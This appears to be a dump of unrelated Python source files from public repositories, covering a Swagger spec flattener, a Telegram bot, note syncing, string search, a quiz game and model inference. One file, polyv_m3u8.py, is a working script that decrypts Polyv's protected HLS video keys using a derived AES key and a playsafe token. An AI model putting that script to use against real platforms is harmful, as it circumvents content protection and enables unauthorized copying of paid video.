'#/definitions/{}'.format(k): '#/definitions/{}'.format(v)\n for k, v in iteritems(definition_key_to_model_name_mapping)\n if v in new_definition_keys and v not in original_definition_keys\n }\n\n for old_reference, new_reference in iteritems(reference_renaming_mapping):\n new_ref = new_reference.replace('#/definitions/', '')\n old_ref = old_reference.replace('#/definitions/', '')\n flattened_spec_dict['definitions'][new_ref] = flattened_spec_dict['definitions'][old_ref]\n del flattened_spec_dict['definitions'][old_ref]\n\n return _rename_references_descend(flattened_spec_dict)\n\n def replace_inline_models_with_refs(self, flattened_spec_dict):\n \"\"\"\n Rename definition references to more \"human\" names if possible.\n\n The used approach is to use model-name as definition key, if this does not conflict\n with an already existing key.\n\n :param flattened_spec_dict: swagger spec dict (pre-flattened)\n :return: swagger spec dict equivalent to flattened_spec_dict with more human references\n :rtype: dict\n \"\"\"\n def _set_references_to_models_descend(value, json_ref):\n if is_dict_like(value):\n if (\n MODEL_MARKER in value and\n not re.match('^#/definitions/[^/]+$', json_ref) and\n value == flattened_spec_dict.get('definitions', {}).get(value[MODEL_MARKER])\n ):\n return {\n '$ref': '#/definitions/{model_name}'.format(model_name=value[MODEL_MARKER]),\n }\n\n else:\n return {\n key: _set_references_to_models_descend(value=subval, json_ref='{}/{}'.format(json_ref, key))\n for key, subval in iteritems(value)\n }\n\n elif is_list_like(value):\n return [\n _set_references_to_models_descend(value=subval, json_ref='{}/{}'.format(json_ref, index))\n for index, subval in enumerate(value)\n ]\n\n else:\n return value\n\n return _set_references_to_models_descend(flattened_spec_dict, '#')\n\n def model_discovery(self):\n # local imports due to circular dependency\n from bravado_core.spec import Spec\n\n # Run model-discovery in order to tag the models available in known_mappings['definitions']\n # This is a required step that removes duplications of models due to the presence of models\n # in swagger.json#/definitions and the equivalent models generated by flattening\n model_discovery(\n Spec(\n spec_dict={\n 'definitions': {\n self.marshal_uri(uri): value\n for uri, value in iteritems(self.known_mappings['definitions'])\n },\n },\n ),\n )\n\n def include_discriminated_models(self):\n \"\"\"\n This function ensures that discriminated models, present on the original Spec object\n but not directly referenced by the flattened schema (because there is no direct $ref\n attribute) are included in the final flattened specs\n\n NOTE: The method re-run model_discovery in case additional models have been added to\n the flattened models\n \"\"\"\n\n def unflattened_models(flattened_models):\n for m_name, m_type in iteritems(self.swagger_spec.definitions):\n if m_name not in flattened_models:\n yield m_name, m_type\n\n def register_unflattened_models():\n \"\"\"\n :return: True if new models have been added\n \"\"\"\n initial_number_of_models = len(self.known_mappings['definitions'])\n modified = True\n\n flattened_models = {\n # schema objects might not have a \"type\" set so they won't be tagged as models\n definition.get(MODEL_MARKER)\n for definition in itervalues(self.known_mappings['definitions'])\n }\n\n while modified:\n modified = False\n for model_name, model_type in unflattened_models(flattened_models):\n if any(\n parent in flattened_models\n for parent in model_type._inherits_from\n ):\n model_url = urlparse(model_type._json_reference)\n flattened_models.add(model_name)\n self.known_mappings['definitions'][model_url] = self.descend(\n value=model_type._model_spec,\n )\n modified = True\n\n return len(self.known_mappings['definitions']) != initial_number_of_models\n\n while register_unflattened_models():\n self.model_discovery()\n\n def include_root_definition(self):\n self.known_mappings['definitions'].update({\n urlparse(v._json_reference): self.descend(value=v._model_spec)\n for v in itervalues(self.swagger_spec.definitions)\n # urldefrag(url)[0] returns the url without the fragment, it is guaranteed to be present\n if urldefrag(v._json_reference)[0] == self.swagger_spec.origin_url\n })\n\n @cached_property\n def resolved_specs(self):\n # Create internal copy of spec_dict to avoid external dict pollution\n resolved_spec = self.descend(value=copy.deepcopy(self.swagger_spec.spec_dict))\n\n # Perform model discovery of the newly identified definitions\n self.model_discovery()\n\n # Ensure that all the root definitions, even if not referenced, are not lost due to flattening.\n self.include_root_definition()\n\n # Add the identified models that are not available on the know_mappings definitions\n # but that are related, via polymorphism (discriminator), to flattened models\n # This could happen in case discriminated models are not directly referenced by the specs\n # but is fair to assume that they should be on the final artifact due to polymorphism\n self.include_discriminated_models()\n\n for mapping_key, mappings in iteritems(self.known_mappings):\n self.warn_if_uri_clash_on_same_marshaled_representation(mappings)\n if len(mappings) > 0:\n resolved_spec.update(\n {\n mapping_key: {\n self.marshal_uri(uri): value\n for uri, value in iteritems(mappings)\n },\n },\n )\n\n resolved_spec = self.rename_definition_references(resolved_spec)\n resolved_spec = self.replace_inline_models_with_refs(resolved_spec)\n\n return resolved_spec\n\n\ndef flattened_spec(swagger_spec, marshal_uri_function=_marshal_uri):\n \"\"\"\n Flatten Swagger Specs description into an unique and JSON serializable document.\n The flattening injects in place the referenced [path item objects](https://swagger.io/specification/#pathItemObject)\n while it injects in '#/parameters' the [parameter objects](https://swagger.io/specification/#parameterObject),\n in '#/definitions' the [schema objects](https://swagger.io/specification/#schemaObject) and in\n '#/responses' the [response objects](https://swagger.io/specification/#responseObject).\n\n Note: the object names in '#/definitions', '#/parameters' and '#/responses' are evaluated by\n ``marshal_uri_function``, the default method takes care of creating unique names for all the used references.\n Since name clashing are still possible take care that a warning could be filed.\n If it happen please report to us the specific warning text and the specs that generated it.\n We can work to improve it and in the mean time you can \"plug\" a custom marshalling function.\n\n Note: https://swagger.io/specification/ has been update to track the latest version of the Swagger/OpenAPI specs.\n Please refer to https://github.com/OAI/OpenAPI-Specification/blob/3.0.0/versions/2.0.md#responseObject for the\n most recent Swagger 2.0 specifications.\n\n WARNING: In the future releases all the parameters except swagger_spec and marshal_uri_function will be removed.\n Please make sure to use only those two parameters.\n Until the deprecation is not effective you can still pass all the parameters but it's strongly discouraged.\n\n :param swagger_spec: bravado-core Spec object\n :type swagger_spec: bravado_core.spec.Spec\n :param marshal_uri_function: function used to marshal uris in string suitable to be keys in Swagger Specs.\n :type marshal_uri_function: Callable with the same signature of ``_marshal_uri``\n\n :return: Flattened representation of the Swagger Specs\n :rtype: dict\n \"\"\"\n return _SpecFlattener(swagger_spec, marshal_uri_function).resolved_specs\n","repo_name":"Yelp/bravado-core","sub_path":"bravado_core/spec_flattening.py","file_name":"spec_flattening.py","file_ext":"py","file_size_in_byte":19039,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"48"} +{"seq_id":"26624593586","text":"#!/usr/bin/env python\n#coding=utf8\n \nimport os\nimport hashlib, binascii\nimport re, json, base64\nimport requests\nfrom Crypto.Cipher import AES\n\n'保利威视m3u8视频解密,用于获取解密的key'\n#=================================================================\n# 下面两个参数是需要按需修改的\n# g_videoid = \"b034527feb4f7c5722651a38a8cb2fed_b\"\n# 如果你分析出网站怎么获取 playsafe 的,去修改 get_playsafe_token 函数\n# g_playsafe = \"de673230-43dd-4fb6-a53d-a3a3ab3b6533-1126\"\n#=================================================================\n \nBS = AES.block_size # 这个等于16\nmode = AES.MODE_CBC\npad = lambda s: s + (BS-len(s))*\"\\0\" # 用于补全key\n# 用于补全下面的text,上面两个网址就是用以下形式补全的\npad_txt = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)\nunpad = lambda s : s[0:-s[-1]]\n \ndef urlget(_url, _header = {}) :\n # print('_url',_url)\n _response = requests.get(_url, headers = _header)\n return _response.content.decode('utf-8')\n \ndef urlpost(_url, _postdata, _header = {}) :\n _response = requests.post(_url, _postdata, headers = _header)\n return _response.content.decode('utf-8')\n \ndef hash_md5(_str) :\n _hash = hashlib.md5()\n _hash.update(_str.encode('utf-8'))\n return _hash.hexdigest()\n \n# def get_playsafe_token(_vid) :\n# return g_playsafe\n \ndef videoinfo_decrypt(_vid, _body) :\n # print(\"vid: \" + _vid)\n _str = hash_md5(_vid)\n # print(\"vid md5: \" + _str)\n _key = _str[0 : 16]\n print(\"key\",_key)\n _iv = _str[16 : ]\n print(\"iv\",_iv)\n # print(\"key: \" + _key + \" iv: \" + _iv)\n \n _body_raw = binascii.unhexlify(_body)\n \n _cryptor = AES.new(pad(_key).encode('utf-8'), mode, _iv.encode('utf-8'))\n _ret = base64.b64decode(unpad(_cryptor.decrypt(_body_raw))).decode('utf-8')\n # print(_ret)\n return _ret\n \ndef decode_key(_seed_const, _key_enc) :\n _aeskey = hash_md5(str(_seed_const))[0:16]\n _aesiv = b'\\x01\\x02\\x03\\x05\\x07\\x0B\\x0D\\x11\\x13\\x17\\x1D\\x07\\x05\\x03\\x02\\x01'\n _cryptor = AES.new(pad(_aeskey).encode('utf-8'), mode, _aesiv)\n _key_paded = _cryptor.decrypt(_key_enc)\n return unpad(_key_paded)\n \ndef vidinfo(_vid) :\n _url = 'https://player.polyv.net/secure/' + _vid + '.json'\n _content = urlget(_url).strip()\n if not _content :\n return None\n \n _info_enc = json.loads(_content)\n if int(_info_enc[\"code\"]) != 200 :\n print(_info_enc)\n return None\n _body = _info_enc[\"body\"]\n \n _info = json.loads(videoinfo_decrypt(_vid, _body))\n \n return {\"m3u8\": _info[\"hls\"][-1], \"seed_const\": _info[\"seed_const\"]}\n \ndef get_key(vid, playsafe,video_name) :\n # print('vid',vid)\n # print('playsafe',playsafe)\n # print('video_name',video_name)\n vinfo = vidinfo(vid)\n if not vinfo :\n print(\"get vid(%s) information error\" %(vid))\n return 0\n print('vinfo:',vinfo)\n \n m3u8content = urlget(vinfo[\"m3u8\"])\n # m3u8content = urlget('http://hls.videocc.net/b034527feb/a/b034527feb17d30f7d2f39a0c271afda_2.m3u8?pid=1629250393197X1732338&device=desktop')\n \n if not m3u8content :\n print(\"get m3u8(%s) error\" %(vinfo[\"m3u8\"]))\n return 0\n \n rem = re.search(r'URI=\"([^\"]+)\"', m3u8content, re.M | re.I)\n if not rem :\n print(\"m3u8 key url not found\")\n return 0\n \n m3u8keyurl = rem.group(1).strip() + \"?token=\" + playsafe\n # print('m3u8keyurl',m3u8keyurl)\n m3u8keyurl = re.sub(r'://([^/]+)/', r'://\\1/playsafe/', m3u8keyurl, 1, re.I)\n # print(m3u8keyurl)\n \n m3u8key = requests.get(m3u8keyurl).content\n \n keylen = len(m3u8key)\n if keylen == 32 :\n print(\"key length is 32, decoding...\")\n m3u8key = decode_key(vinfo[\"seed_const\"], m3u8key)\n \n \n # keyfile = vid + \".key\"\n \n # with open(keyfile, \"wb\") as f:\n # f.write(m3u8key)\n # missing_padding = 4 - len(m3u8key) % 4\n # if missing_padding:\n # m3u8key += b'=' * missing_padding\n\n # f.write(b)\n key = base64.b64encode(m3u8key)\n key = str(key,encoding='utf-8')\n print(\"m3u8key\",key)\n \n #把key拼接到URI后\n m3u8content = re.sub(r'URI=\"([^\"]+)\"', 'URI=\"Base64:%s\"' %(key), m3u8content, 1, re.M | re.I)\n \n with open(os.getcwd() + \"\\m3u8File\\\\\" + video_name + \".m3u8\", \"wb\") as f:\n f.write(m3u8content.encode('utf-8'))\n \n return 1\n\n# get_key('b034527feb17d30f7d2f39a0c271afda_b', '2d0997af-c857-48db-a2f6-35ce6553ae3a-t126', '7.2.1-人格的测验')","repo_name":"taotaodai/MySpiders","sub_path":"polyv_m3u8.py","file_name":"polyv_m3u8.py","file_ext":"py","file_size_in_byte":4520,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"21854656074","text":"#-*- coding:utf-8 -*-\n#!/usr/bin/env python\n\nimport sys\nimport time\nimport telegram\nimport telepot\nimport collect\nimport coin\nimport property\nimport korbit_status\nfrom telepot.loop import MessageLoop\n\n\nmyProperty = property.local_property()\n\nmsgmgr = telegram.message()\ndb = collect.TradingDB()\n\ncoinInfo = coin.coinInfo()\ncurrency_pair_list = coinInfo.getCurrentPairList()\n\ndef handle(msg):\n content_type, chat_type, chat_id = telepot.glance(msg)\n print(content_type, chat_type, chat_id)\n if content_type == 'text':\n if str(msg['text']).startswith('등록'):\n splitedstr = str(msg['text']).split(\" \")\n msgmgr.sendMsg(chat_id, splitedstr[1] + \"님 환영합니다\")\n db.insertMsg(chat_id, splitedstr[1])\n return None\n if msg['text'] == '멤버보기':\n memberList = db.getMemberList()\n for memberName in memberList:\n msgmgr.sendMsg(chat_id, memberName)\n return None\n if msg['text'] == '알람off':\n db.enableSlientMode(chat_id)\n msgmgr.sendMsg(chat_id, \"쉿~!\")\n return None\n if msg['text'] == '알람on':\n db.disableSlientMode(chat_id)\n msgmgr.sendMsg(chat_id, \"이제부터 알림 활성화!\")\n return None\n if msg['text'] == '현재가' or msg['text'].startswith('현'):\n msgmgr.sendMsg(chat_id, korbit_status.getMsgStrForLastPrice(db))\n return None\n if msg['text'] == '보유현황' or msg['text'].startswith('보'):\n if (chat_id == myProperty.getMyChatId()):\n msgmgr.sendMsg(chat_id, korbit_status.getMsgStrForBalance(db))\n else :\n msgmgr.sendMsg(chat_id, \"KEY 를 등록한 사용자만 볼 수 있습니다.\")\n return None\n print(\"msg:\" + msg['text'])\n else:\n db.insertMsg(chat_id, '?')\n msgmgr.sendMsg(chat_id, \" - 명령어 - \\n > 멤버보기 \\n > 등록 [사용자이름] \\n > 알람off \\n > 알람on \\n > (현)재가 \\n > (보)유현황\")\n\n\nMessageLoop(msgmgr.getBot(), handle).run_as_thread()\n\nprint ('Listening ...')\n\n# Keep the program running.\nwhile 1:\n time.sleep(10)","repo_name":"blueupas/trading-bot","sub_path":"running_telegram_bot.py","file_name":"running_telegram_bot.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"17092239647","text":"import os\nimport json\nimport config\nimport paramiko\nimport subprocess\nfrom tqdm import tqdm\nfrom lib import db, fn\nfrom nom import html2md\nfrom scp import SCPClient\nfrom slugify import slugify\nfrom collections import defaultdict\n\n\ndef sync_remote_hili(remote, local):\n \"\"\"sync remote hili data to local\"\"\"\n conn, path = remote.split(':')\n user, host = conn.split('@')\n ssh = paramiko.SSHClient()\n ssh.load_system_host_keys()\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n ssh.connect(host, 22, user)\n scp = SCPClient(ssh.get_transport())\n\n annos_path = os.path.join(path, 'annos.json')\n scp.get(annos_path, '/tmp/annos.json')\n\n local = os.path.expanduser(local)\n annos_path = os.path.join(local, 'annos.json')\n\n with open(annos_path, 'r') as f:\n lines = f.read().splitlines()\n\n # Add new lines from remote\n new_lines = []\n with open('/tmp/annos.json', 'r') as f:\n for l in f.read().splitlines():\n if l not in lines:\n new_lines.append(l)\n if new_lines:\n with open(annos_path, 'a') as f:\n f.write('\\n'.join(new_lines)+'\\n')\n\n # Synchronize assets\n subprocess.run([\n 'rsync',\n '-ravu',\n '--progress',\n os.path.join(remote, 'assets/'),\n os.path.join(local, 'assets')\n ])\n\n\ndef sync_notes():\n db_ = db.CSVDB(config.DB_PATH)\n changes = {\n 'citations': set(),\n 'books': set()\n }\n\n print('Synchronizing remote hili to local...')\n sync_remote_hili(config.HILI_REMOTE, config.HILI_LOCAL)\n\n print('Adding hili annotations to grotto db...')\n hili = os.path.join(os.path.expanduser(config.HILI_LOCAL), 'annos.json')\n with open(hili, 'r') as f:\n for l in tqdm(f.read().splitlines()):\n anno = json.loads(l)\n url = anno['href']\n title = anno['title']\n citation = '{}. <{}>'.format(title, url)\n tags = anno['tags']\n if 'file' in anno:\n type = 'image'\n data = 'assets/{}'.format(anno['file']['name'])\n else:\n type = 'text'\n data = html2md.html_to_markdown(anno['html'])\n fnid = fn.make_id(citation)\n\n # Only add new entries\n # Since old entries may have been changed\n # in the database\n if data not in db_[fnid]:\n db_[fnid][data] = {\n 'type': type,\n 'tags': tags\n }\n db_.sources[fnid] = citation\n changes['citations'].add(citation)\n db_.save()\n\n # Kobo\n print('Adding kobo annotations to notes...')\n kobo_out = os.path.expanduser(config.KOBO_OUTPUT)\n with open(os.path.expanduser(config.KOBO), 'r') as f:\n kobo = json.load(f)\n books = defaultdict(list)\n cites = {}\n for h in kobo:\n title = h['title'].strip()\n author = h['author']\n anno = h['anno']\n text = h['text']\n slug = slugify(title, separator='_')\n if author:\n citation = '{}. {}.'.format(title, author.strip())\n else:\n citation = '{}.'.format(title)\n cites[slug] = citation\n\n quote = []\n for l in text.splitlines():\n quote.append('> {}'.format(l.strip()))\n quote = '\\n'.join(quote)\n\n if anno:\n quote = '{}\\n{}'.format(anno, quote)\n\n books[slug].append(quote)\n\n for slug, highlights in books.items():\n text = '# {}\\n\\n{}'.format(cites[slug], '\\n\\n'.join(highlights))\n path = os.path.join(kobo_out, f'{slug}.md')\n if not os.path.exists(path):\n changes['books'].append(path)\n with open(path, 'w') as f:\n f.write(text)\n\n return changes\n\n\nif __name__ == '__main__':\n sync_notes()\n","repo_name":"frnsys/grotto","sub_path":"guts.py","file_name":"guts.py","file_ext":"py","file_size_in_byte":3953,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"43492321976","text":"import numpy as np\n\n\ndef read_multi_hist(FileName: str, SpeciesList: list):\n \"\"\"Read a multi-species histogram from a file and return a list of time steps\n and species counts.\n\n Args:\n FileName (str): The name of the input file to read.\n SpeciesList (list): A list of species names corresponding to the columns in the input file.\n\n Returns:\n hist_list (List): A list of time steps and species counts. Each element of the list is a\n NumPy array with shape (N, M+1), where N is the number of time steps and\n M is the number of species in SpeciesList. The first column contains the\n time step and the remaining columns contain the counts for each species.\n\n Raises:\n ValueError: If any of the species names in the input file are not found in SpeciesList.\n\n Examples:\n >>> SpeciesList = ['A', 'B', 'C', 'D']\n >>> read_multi_hist('histogram_complexes_time.dat', SpeciesList)\n\n Notes:\n The input file must have the following format:\n\n Time (s):
    '.join(preds)\n\nparams_dict = dict(\n checkpoint_model_path = \"../../checkpoints/qag/model-epoch=01-val_loss=1.14.ckpt\",\n model_name = \"google/mt5-base\",\n tokenizer_name = \"google/mt5-base\",\n max_len_input = 512,\n max_len_output = 96,\n num_beams = 5,\n num_return_sequences = 5,\n repetition_penalty = 1.0,\n length_penalty = 1.0,\n)\nparams = argparse.Namespace(**params_dict)\n\nt5_tokenizer = T5Tokenizer.from_pretrained(params.tokenizer_name)\nif \"mt5\" in params.model_name:\n t5_model = MT5ForConditionalGeneration.from_pretrained(params.model_name)\nelse:\n t5_model = T5ForConditionalGeneration.from_pretrained(params.model_name)\n\ncheckpoint_model_path = params.checkpoint_model_path\nqgmodel = QAGModel.load_from_checkpoint(checkpoint_model_path, hparams=params, t5model=t5_model, t5tokenizer=t5_tokenizer)\n\nqgmodel.freeze()\nqgmodel.eval()\n\n# Put model in gpu (if possible) or cpu (if not possible) for inference purpose\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nqgmodel = qgmodel.to(device)\nprint (\"Device for inference:\", device)","repo_name":"hovanvydut/Question-Answer-Generation","sub_path":"src/api/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"69811572625","text":"# -*- coding:utf-8 -*-\n'''\n输入n个整数,找出其中最小的K个数。例如输入4,5,1,6,2,7,3,8这8个数字,则最小的4个数字是1,2,3,4\n'''\nclass Solution:\n def GetLeastNumbers_Solution(self, tinput, k):\n # write code here\n if k==0:\n return []\n if len(tinput)=high:\n return None\n res,index = partion(tinput,low,high)\n# print(res,index,k,low,high)\n if index+1 == k:\n return res[:index+1]\n\n if index+1 =k:\n return least_k(res,k,low,index-1)\n\n return n_res\n\ndef partion(array,low,high):\n key = array[low]\n while low < high:\n while low < high and array[high] >= key:\n high -= 1\n if low < high:\n array[low] = array[high]\n\n while low < high and array[low] < key:\n low += 1\n if low < high:\n array[high] = array[low]\n\n array[low] = key\n return array,low\n","repo_name":"lanpartis/jianzhiOffer_practice","sub_path":"29_leastKNumber.py","file_name":"29_leastKNumber.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3671321312","text":"import time\n\n\n\ndef test_add_to_cart_button_is_displayed(browser,language):\n lang = language #присваиваем переменной lang\n link = f\"http://selenium1py.pythonanywhere.com/{lang}/catalogue/coders-at-work_207/\"\n browser.get(link)\n selector = \"#add_to_basket_form button\"\n #time.sleep(30)\n def is_element_present(browser):\n try:\n browser.implicitly_wait(5)\n browser.find_element_by_css_selector(selector)\n return True\n except:\n return False\n assert is_element_present(browser) == True, \"корзинка не найдена\"\n browser.find_element_by_css_selector(selector).click()\n time.sleep(1)\n","repo_name":"evkrem/Choose_language","sub_path":"test_items.py","file_name":"test_items.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"69813898386","text":"import sys\n\ndef KMP(P,T):\n arr = []\n lt = len(T)\n lp = len(P)\n table = LIS(P)\n i = 0\n for j in range(lt):\n while i > 0 and P[i] != T[j]:\n i = table[i - 1]\n if P[i] == T[j]:\n if i == lp - 1:\n #arr.append(j - lp + 2)\n i = table[i]\n return True\n else:\n i += 1\n return False\n\n\ndef LIS(P):\n lp = len(P)\n Table = [0] * lp\n i = 0\n for j in range(1, lp):\n while i > 0 and P[i] != P[j]:\n i = Table[i - 1]\n\n if P[i] == P[j]:\n i += 1\n Table[j] = i\n return Table\n\n\nstring = []\nn, k = map(int, sys.stdin.readline().split())\nfor _ in range(n):\n input()\n string.append(sys.stdin.readline().split())\nsample = string[0]\n\n\nfor s in range(len(sample) - k + 1):\n pattern = sample[s:s + k]\n c = 0\n for ss in range(1, n):\n ans = KMP(pattern, string[ss])\n if not ans:\n ans = KMP(list(reversed(pattern)), string[ss])\n if not ans:\n break\n else:\n c += 1\n else:\n c += 1\n if c == n - 1:\n print(\"YES\")\n exit(0)\nprint(\"NO\")\n\n","repo_name":"ddraa/Algorithm","sub_path":"String/KMP/7575.py","file_name":"7575.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8850243817","text":"print(\"*** Welcome to if_you_know_me game ***\\n\")\r\nprint(\"You will be given random choices to answer quiz related to me\")\r\nprint(\"But, if you get randomly 0, then the code will exit automatically, bad for you\")\r\nprint(\"You will have to answer all the questions in small letters\")\r\nprint(\"If you give 5 or more correct answers to the quiz, you will have a secret message :) \\n\")\r\n\r\nimport random\r\nimport playsound\r\n\r\ndef start():\r\n your_points = 0\r\n def yoyo():\r\n birth = int(input(\"Please enter birth date of Devansh in numbers to unlock further program : \"))\r\n if birth == 26:\r\n print(\"Hello my buddy, welcome to the program\")\r\n else:\r\n print(\"You don't know me at all\")\r\n playsound.playsound(\"sad.mp3\")\r\n exit()\r\n yoyo()\r\n lst = [0, 1, 2]\r\n le = random.choice(lst)\r\n if le == 0:\r\n print(\"But I am soo Sorry but you are bad at your fate according to my code, because you got 0 at random choice:)\\n\")\r\n print(\"Better luck next time!\")\r\n playsound.playsound(\"sad.mp3\")\r\n exit()\r\n else:\r\n n = int(input(\"Please guess number between 0 to 7 : \"))\r\n if n == le:\r\n print(\"Congo! You are one of the luckiest person according to my code\\n\")\r\n playsound.playsound(\"oh-my-god_5.mp3\")\r\n your_points = your_points + 1\r\n print(\"Now, Your points are, \", your_points)\r\n print(\"Your guess is\", n, \"and computer's guess is also\", le)\r\n print(\"Now, you are given \", le, \"chances to guess the correct option of quiz\\n\")\r\n else:\r\n print(\"Now, you are given \", le, \"chance by random to guess the correct option of quiz\\n\")\r\n print(\"Question 1 : \")\r\n for c in range(le):\r\n color = input(\"Which is the favourite color of Devansh(please write in small letters) : \")\r\n if color == \"black\":\r\n playsound.playsound(\"oh-my-god_5.mp3\")\r\n your_points = your_points + 1\r\n print(\"Congo! you have,\", your_points, \"points\\n\")\r\n break\r\n else:\r\n your_points = your_points\r\n print(\"You are wrong here buddy\")\r\n print(\"You have now,\", your_points, \"points\\n\")\r\n playsound.playsound(\"oh_no_1.mp3\")\r\n print(\"Question 2 : \")\r\n for c in range(le):\r\n num = int(input(\"Which is the favourite number of Devansh(please write in numeral) : \"))\r\n if num == 18:\r\n playsound.playsound(\"oh-my-god_5.mp3\")\r\n your_points = your_points + 1\r\n print(\"Congo! you have,\", your_points, \"points now\\n\")\r\n break\r\n else:\r\n your_points = your_points\r\n print(\"You are wrong here buddy\")\r\n print(\"You have now,\", your_points, \"points\\n\")\r\n playsound.playsound(\"oh_no_1.mp3\")\r\n print(\"Question 3 : \")\r\n for c in range(le):\r\n num = input(\"Which is the favourite sport of Devansh(please write in small letters) : \")\r\n if num == \"football\":\r\n playsound.playsound(\"oh-my-god_5.mp3\")\r\n your_points = your_points + 1\r\n print(\"Congo! you have,\", your_points, \"points now\\n\")\r\n break\r\n else:\r\n your_points = your_points\r\n print(\"You are wrong here buddy\")\r\n print(\"You have now,\", your_points, \"points\\n\")\r\n playsound.playsound(\"oh_no_1.mp3\")\r\n print(\"Question 4 : \")\r\n for c in range(le):\r\n num = input(\"Which is the favourite flavour of ice cream of Devansh(please write in small letters) : \")\r\n if num == \"chocolate\":\r\n playsound.playsound(\"oh-my-god_5.mp3\")\r\n your_points = your_points + 1\r\n print(\"Congo! you have,\", your_points, \"points now\\n\")\r\n break\r\n else:\r\n your_points = your_points\r\n print(\"You are wrong here buddy\")\r\n print(\"You have now,\", your_points, \"points\\n\")\r\n playsound.playsound(\"oh_no_1.mp3\")\r\n print(\"Question 5 : \")\r\n for c in range(le):\r\n num = input(\"Who is the favourite player of Devansh in cricket(please write in small letters) : \")\r\n if num == \"virat kohli\":\r\n playsound.playsound(\"oh-my-god_5.mp3\")\r\n your_points = your_points + 1\r\n print(\"Congo! you have,\", your_points, \"points now\\n\")\r\n break\r\n else:\r\n your_points = your_points\r\n print(\"You are wrong here buddy\")\r\n print(\"You have now,\", your_points, \"points\\n\")\r\n playsound.playsound(\"oh_no_1.mp3\")\r\n print(\"Question 6 : \")\r\n for c in range(le):\r\n num = input(\"Which is the favourite movie type of Devansh(please write in small letters) : \")\r\n if num == \"romantic\":\r\n playsound.playsound(\"oh-my-god_5.mp3\")\r\n your_points = your_points + 1\r\n print(\"Congo! you have,\", your_points, \"points now\\n\")\r\n break\r\n else:\r\n your_points = your_points\r\n print(\"You are wrong here buddy\")\r\n print(\"You have now,\", your_points, \"points\\n\")\r\n playsound.playsound(\"oh_no_1.mp3\")\r\n print(\"Question 7 : \")\r\n for c in range(le):\r\n num = input(\"Do Devansh wear spectacles?(yes or no) (please write in small letters) : \")\r\n if num == \"no\":\r\n playsound.playsound(\"oh-my-god_5.mp3\")\r\n your_points = your_points + 1\r\n print(\"Congo! you have,\", your_points, \"points now\\n\")\r\n break\r\n else:\r\n your_points = your_points\r\n print(\"You are wrong here buddy\")\r\n print(\"You have now,\", your_points, \"points\\n\")\r\n playsound.playsound(\"oh_no_1.mp3\")\r\n print(\"Question 8 : \")\r\n for c in range(le):\r\n num = input(\"Who is the favourite player of Devansh in football(please write in small letters)(only second name) : \")\r\n if num == \"ronaldo\":\r\n playsound.playsound(\"oh-my-god_5.mp3\")\r\n your_points = your_points + 1\r\n print(\"Congo! you have,\", your_points, \"points now\\n\")\r\n break\r\n else:\r\n your_points = your_points\r\n print(\"You are wrong here buddy\")\r\n print(\"You have now,\", your_points, \"points\\n\")\r\n playsound.playsound(\"oh_no_1.mp3\")\r\n if your_points >= 5:\r\n k = input(\"Can you please write your name for me : \")\r\n with open(\"Your_buddy.txt\", \"a\") as f:\r\n f.write(k + \",\" + \"you are real buddy of Devansh\\n\" + \"Let's plan to meet as fast as possible and have a date \")\r\n print(\"Now, please check Your_buddy.txt file in your folder and smile more and more\")\r\n playsound.playsound(\"Dance.mp3\")\r\n else:\r\n print(\"You played well, but lose the game\")\r\n playsound.playsound(\"sad.mp3\")\r\nstart()\r\n","repo_name":"devansh-18-punj/If-you-know-me","sub_path":"If_you_know_me.py","file_name":"If_you_know_me.py","file_ext":"py","file_size_in_byte":7327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44198309783","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport speech_recognition as sr\nfrom gtts import gTTS\nfrom playsound import playsound\n\ndef get_audio(audio):\n\ttts = gTTS(audio,lang='pt-br')\n\ttts.save('hello.mp3')\n\tprint('I m listen to you speech...')\n\tplaysound('speech.mp3')\n\ndef list_mic():\n microfone = sr.Recognizer()\n \n with sr.Microphone() as source:\n microfone.adjust_for_ambient_noise(source)\n print('Speech to me...')\n audio = microfone.listen(source)\n try:\n f = microfone.recognize_google(audio,language='pt-BR')\n print('Did you mean ' + f)\n\n except sr.UnkownValueError:\n print('I dont understanding..')\n\n return f\n\nf = get_audio()\nlist_mic(f)","repo_name":"LeandroRomualdo/NLP","sub_path":"speech recog/speech_and_listener.py","file_name":"speech_and_listener.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30005552441","text":"from argparse import ArgumentParser\nfrom bs4 import BeautifulSoup\nimport datetime as dt\nimport re\nimport sys\nimport yaml\nimport petl as etl\nimport pandas as pd\nfrom src.techops_tools.data_cleaner import DataCleaner\nfrom src.techops_tools.gsheets_handler import GSheetsHandler\nfrom src.techops_tools.table_tools import TableTools\n\n\nclass ADPRun:\n def __init__(self, environment, census_filename, payroll_filename, w2_filename): # noqa\n self.load_column_mapper()\n self.cleaner = DataCleaner()\n self.census_filename = census_filename\n self.payroll_filename = payroll_filename\n self.pay_date = None\n self.w2_filename = w2_filename\n self.gsheets = GSheetsHandler(environment)\n\n def load_column_mapper(self):\n with open(\"src/columns/adprun.yml\", \"r\") as f:\n self.columns = yaml.safe_load(f)\n\n def add_contribution_columns(self):\n \"\"\"Adds column from the columns yaml file.\"\"\"\n for column in self.columns:\n self.full_table = TableTools().merge_columns(self.full_table, self.columns[column], column) # noqa\n\n def 